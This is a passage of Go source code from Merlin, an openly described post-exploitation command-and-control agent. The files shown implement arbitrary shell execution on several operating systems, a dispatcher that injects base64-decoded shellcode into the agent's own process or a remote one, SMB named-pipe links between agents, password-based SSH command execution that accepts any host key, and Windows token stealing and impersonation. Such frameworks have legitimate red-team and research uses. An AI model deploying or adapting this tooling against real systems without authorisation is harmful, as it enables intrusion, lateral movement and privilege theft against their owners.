MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"fmt"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// RunAs creates a new process as the provided user
func RunAs(cmd jobs.Command) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("entering RunAs() with %+v", cmd))
return jobs.Results{
Stderr: "the RunAs command is not supported by this agent type",
}
}
================================================
FILE: commands/runas_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"strings"
"syscall"
// X Packages
"golang.org/x/sys/windows"
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/processes"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens"
)
// RunAs creates a new process as the provided user
func RunAs(cmd jobs.Command) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("entering RunAs() with %+v", cmd))
// Username, Password, Application, Arguments
if len(cmd.Args) < 3 {
results.Stderr = fmt.Sprintf("expected 3+ arguments, received %d for RunAs command", len(cmd.Args))
return
}
username := cmd.Args[0]
password := cmd.Args[1]
application := cmd.Args[2]
var arguments string
if len(cmd.Args) > 3 {
arguments = strings.Join(cmd.Args[3:], " ")
}
// Determine if running as SYSTEM
u, err := tokens.GetTokenUsername(windows.GetCurrentProcessToken())
if err != nil {
results.Stderr = err.Error()
return
}
// If we are running as SYSTEM, we can't call CreateProcess, must call LogonUserA -> CreateProcessAsUserA/CreateProcessWithTokenW
if u == "NT AUTHORITY\\SYSTEM" {
hToken, err2 := tokens.LogonUser(username, password, "", tokens.LOGON32_LOGON_INTERACTIVE, tokens.LOGON32_PROVIDER_DEFAULT)
if err2 != nil {
results.Stderr = err2.Error()
return
}
//results.Stdout, results.Stderr = tokens.CreateProcessWithToken(hToken, application, strings.Split(arguments, " "))
var args []string
if len(cmd.Args) > 3 {
args = cmd.Args[3:]
}
attr := &syscall.SysProcAttr{
HideWindow: true,
Token: syscall.Token(hToken),
}
results.Stdout, results.Stderr = executeCommandWithAttributes(application, args, attr)
return
}
results.Stdout, results.Stderr = processes.CreateProcessWithLogon(username, "", password, application, arguments, processes.LOGON_WITH_PROFILE, true)
return
}
================================================
FILE: commands/shell.go
================================================
//go:build !linux && !windows && !darwin && !freebsd
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"fmt"
"runtime"
)
// shell is used to execute a command on a host using the operating system's default shell
func shell(args []string) (stdout string, stderr string) {
return "", fmt.Sprintf("the default shell for the %s operating system is unknown, use the \"run\" command instead", runtime.GOOS)
}
================================================
FILE: commands/shell_darwin.go
================================================
//go:build darwin
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"fmt"
"os/exec"
"strings"
)
// shell is used to execute a command on a host using the operating system's default shell
func shell(args []string) (stdout string, stderr string) {
cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204
out, err := cmd.CombinedOutput()
if cmd.Process != nil {
stdout = fmt.Sprintf("Created /bin/sh process with an ID of %d\n", cmd.Process.Pid)
}
stdout += string(out)
stderr = ""
if err != nil {
stderr = err.Error()
}
return stdout, stderr
}
================================================
FILE: commands/shell_freebsd.go
================================================
//go:build freebsd
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"fmt"
"os/exec"
"strings"
)
// shell is used to execute a command on a host using the operating system's default shell
func shell(args []string) (stdout string, stderr string) {
cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204
out, err := cmd.CombinedOutput()
if cmd.Process != nil {
stdout = fmt.Sprintf("Created /bin/sh process with an ID of %d\n", cmd.Process.Pid)
}
stdout += string(out)
if err != nil {
stderr = err.Error()
}
return stdout, stderr
}
================================================
FILE: commands/shell_linux.go
================================================
//go:build linux
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"fmt"
"os/exec"
"strings"
)
// shell is used to execute a command on a host using the operating system's default shell
func shell(args []string) (stdout string, stderr string) {
cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204
out, err := cmd.CombinedOutput()
if cmd.Process != nil {
stdout = fmt.Sprintf("Created /bin/sh process with an ID of %d\n", cmd.Process.Pid)
}
stdout += string(out)
stderr = ""
if err != nil {
stderr = err.Error()
}
return stdout, stderr
}
================================================
FILE: commands/shell_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"os"
"strings"
)
// shell is used to execute a command on a host using the operating system's default shell
func shell(args []string) (stdout string, stderr string) {
var shell string
var arguments []string
if s, ok := os.LookupEnv("COMSPEC"); ok {
shell = s
if strings.Contains(s, "cmd.exe") {
arguments = []string{"/c"}
} else if strings.Contains(s, "powershell.exe") {
arguments = []string{"-Command"}
}
} else {
shell = "cmd.exe"
arguments = []string{"/c"}
}
return executeCommand(shell, append(arguments, args...))
}
================================================
FILE: commands/shellcode.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"encoding/base64"
"fmt"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// ExecuteShellcode instructs the agent to load and run shellcode according to the input job
func ExecuteShellcode(cmd jobs.Shellcode) jobs.Results {
var results jobs.Results
cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for executeShellcode function: %+v", cmd))
shellcodeBytes, errDecode := base64.StdEncoding.DecodeString(cmd.Bytes)
if errDecode != nil {
results.Stderr = fmt.Sprintf("there was an error decoding the shellcode Base64 string:\r\n%s", errDecode)
cli.Message(cli.WARN, results.Stderr)
return results
}
cli.Message(cli.INFO, fmt.Sprintf("Shelcode execution method: %s, size: %d", cmd.Method, len(shellcodeBytes)))
cli.Message(cli.DEBUG, fmt.Sprintf("Shellcode %x", shellcodeBytes))
switch cmd.Method {
case "self":
err := ExecuteShellcodeSelf(shellcodeBytes)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"self\" method:\r\n%s", err)
}
case "remote":
err := ExecuteShellcodeRemote(shellcodeBytes, cmd.PID)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"remote\" method:\r\n%s", err)
}
case "rtlcreateuserthread":
err := ExecuteShellcodeRtlCreateUserThread(shellcodeBytes, cmd.PID)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"rtlcreateuserthread\" method:\r\n%s", err)
}
case "userapc":
err := ExecuteShellcodeQueueUserAPC(shellcodeBytes, cmd.PID)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error executing shellcode with the \"userapc\" method:\r\n%s", err)
}
default:
results.Stderr = fmt.Sprintf("invalid shellcode execution method: %s", cmd.Method)
}
if results.Stderr == "" {
results.Stdout = fmt.Sprintf("Shellcode %s method successfully executed", cmd.Method)
}
if results.Stderr == "" {
cli.Message(cli.SUCCESS, results.Stdout)
} else {
cli.Message(cli.WARN, results.Stderr)
}
return results
}
================================================
FILE: commands/smb.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"runtime"
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
)
// This smb.go file is part of the "link" command and is not a standalone command
// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent
func ConnectSMB(host, pipe string) (results jobs.Results) {
results.Stderr = fmt.Sprintf("commands/smb.ConnectSMB(): this function is not supported by the %s operating system", runtime.GOOS)
return
}
// ListenSMB binds to the provided named pipe and listens for incoming SMB connections
func ListenSMB(pipe string) error {
return fmt.Errorf("commands/smb.ListenSMB(): this function is not supported by the %s operating system", runtime.GOOS)
}
================================================
FILE: commands/smb_windows.go
================================================
//go:build windows
// This smb.go file is part of the "link" command and is not a standalone command
package commands
import (
// Standard
"bytes"
"encoding/binary"
"encoding/gob"
"fmt"
"net"
"time"
"unsafe"
// X Packages
"golang.org/x/sys/windows"
// 3rd Party
"github.com/Ne0nd0g/npipe"
// Merlin
"github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/p2p"
)
// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent
func ConnectSMB(host, pipe string) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/smb.ConnectSMB(): entering into function with network: %s, pipe: %s", host, pipe))
// Validate incoming arguments
// The period is used to signify "this host"
if host != "." {
_, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:445", host))
if err != nil {
results.Stderr = fmt.Sprintf("commands.smb.ConnectSMB(): there was an error validating the input network address: %s", err)
return
}
}
address := fmt.Sprintf("\\\\%s\\pipe\\%s", host, pipe)
// Establish connection to downstream agent
conn, err := npipe.Dial(address)
if err != nil {
results.Stderr = fmt.Sprintf("commands/smb.ConnectSMB(): there was an error attempting to link the agent: %s", err.Error())
return
}
var n int
var tag uint32
var length uint64
var buff bytes.Buffer
for {
data := make([]byte, 4096)
// Need to have a read on the network connection for data here in this function to retrieve the linked Agent's ID so the linkedAgent structure can be stored
n, err = conn.Read(data)
if err != nil {
msg := fmt.Sprintf("there was an error reading data from linked agent %s: %s", address, err)
results.Stderr = msg
cli.Message(cli.WARN, msg)
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.ConnectSMB(): Read %d bytes from linked %s agent %s at %s", n, p2p.String(p2p.SMBBIND), address, time.Now().UTC().Format(time.RFC3339)))
// Add the bytes to the buffer
n, err = buff.Write(data[:n])
if err != nil {
msg := fmt.Sprintf("commands/link.ConnectSMB(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, address, err)
results.Stderr = msg
cli.Message(cli.WARN, msg)
return
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.ConnectSMB(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(data[:4])
if tag != 1 {
msg := fmt.Sprintf("commands/link.ConnectSMB(): Expected a type/tag value of 1 for TLV but got %d", tag)
results.Stderr = msg
cli.Message(cli.WARN, msg)
return
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("command/link.ConnectSMB(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(data[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("command/link.ConnectSMB(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("command/link.ConnectSMB(): Read %d of %d bytes into the buffer", buff.Len(), length+4+8))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from linked %s agent %s at %s", buff.Len(), p2p.String(p2p.SMBBIND), address, time.Now().UTC().Format(time.RFC3339)))
// Decode GOB from server response into Base
var msg messages.Delegate
// First 4-bytes are for the Type/Tag, next 8-bytes are for the Length in TLV
reader := bytes.NewReader(buff.Bytes()[12:])
errD := gob.NewDecoder(reader).Decode(&msg)
if errD != nil {
err = fmt.Errorf("there was an error decoding the gob message: %s", errD)
return
}
// Store LinkedAgent
link := p2p.NewLink(msg.Agent, msg.Listener, conn, p2p.SMBBIND, conn.RemoteAddr())
peerToPeerService.AddLink(link)
peerToPeerService.AddDelegate(msg)
results.Stdout = fmt.Sprintf("Successfully connected to %s Agent %s at %s", link.String(), msg.Agent, address)
// The listen function is in commands/listen.go
go listen(conn, p2p.SMBBIND)
return
}
// ListenSMB binds to the provided named pipe and listens for incoming SMB connections
func ListenSMB(pipe string) error {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/smb.ListenSMB(): entering into function with pipe: %s", pipe))
addr := fmt.Sprintf("\\\\.\\pipe\\%s", pipe)
// Create the security descriptor
// D = Discretionary Access List (DACL)
// A = Allow
// FA = FILE_ALL_ACCESS, FR = FILE_GENERIC_READ
// https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings
// SY = SYSTEM, BA = BUILT-IN ADMINISTRATORS, CO = CREATOR OWNER, WD = EVERYONE, AN = ANONYMOUS
// https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings
// Leave the Owner "O:" off, and it will be set to the user that created the named pipe by default
// Leave the Group "G:" off, and it will be set to the "None" group by default
sddl := "D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;CO)(A;;FA;;;WD)(A;;FR;;;AN)"
var sd *windows.SECURITY_DESCRIPTOR
var err error
sd, err = windows.SecurityDescriptorFromString(sddl)
if err != nil {
return fmt.Errorf("commands/smb.ListenSMB(): there was an error converting the SDDL string \"%s\" to a SECURITY_DESCRIPTOR: %s", sddl, err)
}
// Create the Security Attributes
// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)
sa := windows.SecurityAttributes{
Length: uint32(unsafe.Sizeof(sd)),
SecurityDescriptor: sd,
InheritHandle: 1,
}
mode := windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED | windows.FILE_FLAG_FIRST_PIPE_INSTANCE
listener, err := npipe.NewPipeListener(addr, uint32(mode), windows.PIPE_TYPE_BYTE, windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)
if err != nil {
// Try again without FILE_FLAG_FIRST_PIPE_INSTANCE
mode = windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED
listener, err = npipe.NewPipeListener(addr, uint32(mode), windows.PIPE_TYPE_BYTE, windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)
if err != nil {
return fmt.Errorf("clients/smb.Connect(): there was an error listening on %s: %s", addr, err)
}
}
// Add to global listeners
var ok bool
var l p2pListener
for _, l = range p2pListeners {
if l.Type == SMB {
// Check to see if there is already a p2pListener in the map for this address
if listener.Addr() == l.Listener.(net.Listener).Addr() {
ok = true
break
}
}
}
if !ok {
l = p2pListener{
Addr: listener.Addr().String(),
Listener: listener,
Type: SMB,
}
p2pListeners = append(p2pListeners, l)
}
cli.Message(cli.NOTE, fmt.Sprintf("Started SMB listener on %s and waiting for a connection...", addr))
// Listen for initial connection from upstream agent
go accept(listener, p2p.SMBREVERSE)
return nil
}
================================================
FILE: commands/ssh.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"bytes"
"encoding/base64"
"fmt"
"io"
"net"
"strings"
// X Packages
"golang.org/x/crypto/ssh"
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
)
// SSH executes a command on a remote host using the SSH protocol and does not provide an interactive session
func SSH(command jobs.Command) (results jobs.Results) {
// 1. User, 2. Pass, 3. Host:Port, 4. Command
if len(command.Args) < 4 {
results.Stderr = fmt.Sprintf("expected 4 or more arguments, received %d", len(command.Args))
return
}
user := command.Args[0]
pass := command.Args[1]
host := command.Args[2]
cmd := strings.Join(command.Args[3:], " ")
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.Password(pass),
},
HostKeyCallback: ssh.HostKeyCallback(func(hostname string, remote net.Addr, key ssh.PublicKey) error {
results.Stdout = fmt.Sprintf("Connected to %s at %s with public key %s\n", hostname, remote.String(), key.Type()+" "+base64.StdEncoding.EncodeToString(key.Marshal()))
return nil
}),
}
sshClient, err := ssh.Dial("tcp", host, config)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling ssh.Dial: %s", err)
return
}
defer func() {
err2 := sshClient.Close()
if err2 != nil {
results.Stderr += fmt.Sprintf("there was an error closing the SSH client: %s\n", err2)
}
}()
sshSession, err := sshClient.NewSession()
if err != nil {
results.Stderr = fmt.Sprintf("\nthere was an error calling SSH Client NewSession(): %s", err)
return
}
defer func() {
err2 := sshSession.Close()
if err2 != nil && err2 != io.EOF {
results.Stderr = fmt.Sprintf("\nthere was an error closing the SSH session: %s\n", err2)
}
}()
var stdoutBuffer bytes.Buffer
var stderrBuffer bytes.Buffer
sshSession.Stdout = io.Writer(&stdoutBuffer)
sshSession.Stderr = io.Writer(&stderrBuffer)
err = sshSession.Run(cmd)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling SSH Session Run(): %s", err)
return
}
results.Stdout += stdoutBuffer.String()
results.Stderr = stderrBuffer.String()
return
}
================================================
FILE: commands/tokens.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// Token is the entrypoint for Jobs that are processed to determine which Token function should be executed
func Token(cmd jobs.Command) jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering Token() with %+v", cmd))
return jobs.Results{
Stderr: "the Token module is not supported by this agent type",
}
}
================================================
FILE: commands/tokens_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"os"
"strconv"
"strings"
// X Packages
"golang.org/x/sys/windows"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens"
)
// Token is the entrypoint for Jobs that are processed to determine which Token function should be executed
func Token(cmd jobs.Command) jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering Token() with %+v", cmd))
if len(cmd.Args) > 0 {
switch strings.ToLower(cmd.Args[0]) {
case "make":
if len(cmd.Args) < 3 {
return jobs.Results{
Stderr: fmt.Sprintf("not enough arguments %d for the token make command", len(cmd.Args)),
}
}
return makeToken(cmd.Args[1], cmd.Args[2])
case "privs":
if len(cmd.Args) > 1 {
return listPrivileges(cmd.Args[1])
} else {
return listPrivileges("0")
}
case "rev2self":
return rev2self()
case "steal":
if len(cmd.Args) < 2 {
return jobs.Results{
Stderr: "A Process ID (PID) must be provided for the token steal command",
}
}
pid, err := strconv.Atoi(cmd.Args[1])
if err != nil {
return jobs.Results{
Stderr: fmt.Sprintf("there was an error converting PID %s to an integeter: %s", cmd.Args[1], err),
}
}
return stealToken(uint32(pid))
case "whoami":
return whoami()
default:
j := jobs.Results{
Stderr: fmt.Sprintf("unrecognized Windows Access Token command: %s", cmd.Args[0]),
}
return j
}
}
j := jobs.Results{
Stderr: "no arguments were provided to the Windows Access Token module",
}
return j
}
// All functions in this file should return jobs.Results, else the function should go in os\windows\pkg\tokens
// listPrivileges will enumerate the privileges associated with a Windows access token
// If the Process ID (pid) is 0, then the privileges for the token associated with current process will be enumerated
func listPrivileges(processID string) (results jobs.Results) {
// Convert PID from string to int
pid, err := strconv.Atoi(processID)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error converting %s to an integer: %s", processID, err)
return
}
var token windows.Token
if pid == 0 && tokens.Token != 0 {
pid = os.Getpid()
token = tokens.Token
results.Stdout += "Enumerating privileges using previously stolen or created Windows access token\n"
} else {
if pid == 0 {
pid = os.Getpid()
}
// Get a handle to the current process
var hProc windows.Handle
hProc, err = windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, uint32(pid))
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling windows.OpenProcess(): %s", err)
return
}
// Close the handle when done
defer func() {
err2 := windows.CloseHandle(hProc)
if err2 != nil {
results.Stderr += fmt.Sprintf("there was an error calling windows.CloseHandle() for the process: %s\n", err2)
}
}()
// Use process handle to get a token
err = windows.OpenProcessToken(hProc, windows.TOKEN_QUERY, &token)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling windows.OpenProcessToken(): %s", err)
return
}
// Close the handle when done
defer func() {
err2 := token.Close()
if err2 != nil {
results.Stderr += fmt.Sprintf("there was an error calling token.Close(): %s\n", err2)
}
}()
}
// Get token integrity level
integrityLevel, err := tokens.GetTokenIntegrityLevel(token)
if err != nil {
results.Stderr = err.Error()
return
}
// Get the privileges and attributes
privs, err := tokens.GetTokenPrivileges(token)
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout += fmt.Sprintf("Process ID %d access token integrity level: %s, privileges (%d):\n", pid, integrityLevel, len(privs))
for _, priv := range privs {
results.Stdout += fmt.Sprintf("\tPrivilege: %s, Attribute: %s\n", tokens.PrivilegeToString(priv.Luid), tokens.PrivilegeAttributeToString(priv.Attributes))
}
return
}
// makeToken creates a new type 9 logon session for the provided user and applies the returned Windows access token to
// the current process using the ImpersonateLoggedOnUser Windows API call
func makeToken(username, password string) (results jobs.Results) {
// Make token
token, err := tokens.LogonUser(username, password, "", tokens.LOGON32_LOGON_NEW_CREDENTIALS, tokens.LOGON32_PROVIDER_DEFAULT)
if err != nil {
results.Stderr = err.Error()
return
}
tokens.Token = token
// Get Token Stats
stats, err := tokens.GetTokenStats(token)
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = fmt.Sprintf("Successfully created a Windows access token for %s with a logon ID of 0x%X", username, stats.AuthenticationId.LowPart)
return
}
// rev2self releases or drops any impersonation tokens applied to the current process, reverting to its original state
func rev2self() (results jobs.Results) {
tokens.Token = 0
err := windows.RevertToSelf()
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = "Successfully reverted to self and dropped the impersonation token"
return
}
// stealToken is a wrapper function that steals a token and applies it to the current process
func stealToken(pid uint32) (results jobs.Results) {
if pid == 0 {
results.Stderr = fmt.Sprintf("invalid Process ID (PID) of %d", pid)
return
}
handle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling kernel32!OpenProcess: %s", err)
return
}
// Defer closing the process handle
defer func() {
err = windows.Close(handle)
if err != nil {
results.Stderr += fmt.Sprintf("\n%s", err)
}
}()
// Use the process handle to get its access token
// These token privs are required to call CreateProcessWithToken or later
DesiredAccess := windows.TOKEN_DUPLICATE | windows.TOKEN_ASSIGN_PRIMARY | windows.TOKEN_QUERY
var token windows.Token
err = windows.OpenProcessToken(handle, uint32(DesiredAccess), &token)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling advapi32!OpenProcessToken: %s", err)
return
}
// Duplicate the token with maximum permissions
var dupToken windows.Token
err = windows.DuplicateTokenEx(token, windows.MAXIMUM_ALLOWED, &windows.SecurityAttributes{}, windows.SecurityImpersonation, windows.TokenPrimary, &dupToken)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling windows.DuplicateTokenEx: %s", err)
return
}
tokens.Token = dupToken
// Get Thread Token TOKEN_STATISTICS structure
statThread, err := tokens.GetTokenStats(tokens.Token)
if err != nil {
return
}
// Get Thread Username
userThread, err := tokens.GetTokenUsername(tokens.Token)
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = fmt.Sprintf("Successfully stole token from PID %d for user %s with LogonID 0x%X", pid, userThread, statThread.AuthenticationId.LowPart)
return
}
// whoami enumerates information about both the process and thread token currently being used
func whoami() (results jobs.Results) {
// Process
tProc := windows.GetCurrentProcessToken()
// Get Process Username
userProc, err := tokens.GetTokenUsername(tProc)
if err != nil {
results.Stderr = err.Error()
return
}
// Get Process Token TOKEN_STATISTICS structure
statProc, err := tokens.GetTokenStats(tProc)
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout += fmt.Sprintf("Process (%s) Token:\n", tokens.TokenTypeToString(statProc.TokenType))
results.Stdout += fmt.Sprintf("\tUser: %s", userProc)
results.Stdout += fmt.Sprintf(",Token ID: 0x%X", statProc.TokenId.LowPart)
results.Stdout += fmt.Sprintf(",Logon ID: 0x%X", statProc.AuthenticationId.LowPart)
results.Stdout += fmt.Sprintf(",Privilege Count: %d", statProc.PrivilegeCount)
results.Stdout += fmt.Sprintf(",Group Count: %d", statProc.GroupCount)
results.Stdout += fmt.Sprintf(",Type: %s", tokens.TokenTypeToString(statProc.TokenType))
results.Stdout += fmt.Sprintf(",Impersonation Level: %s", tokens.ImpersonationToString(statProc.ImpersonationLevel))
// Process Token Integrity Level
pLevel, err := tokens.GetTokenIntegrityLevel(tProc)
if err != nil {
results.Stderr = err.Error()
return
}
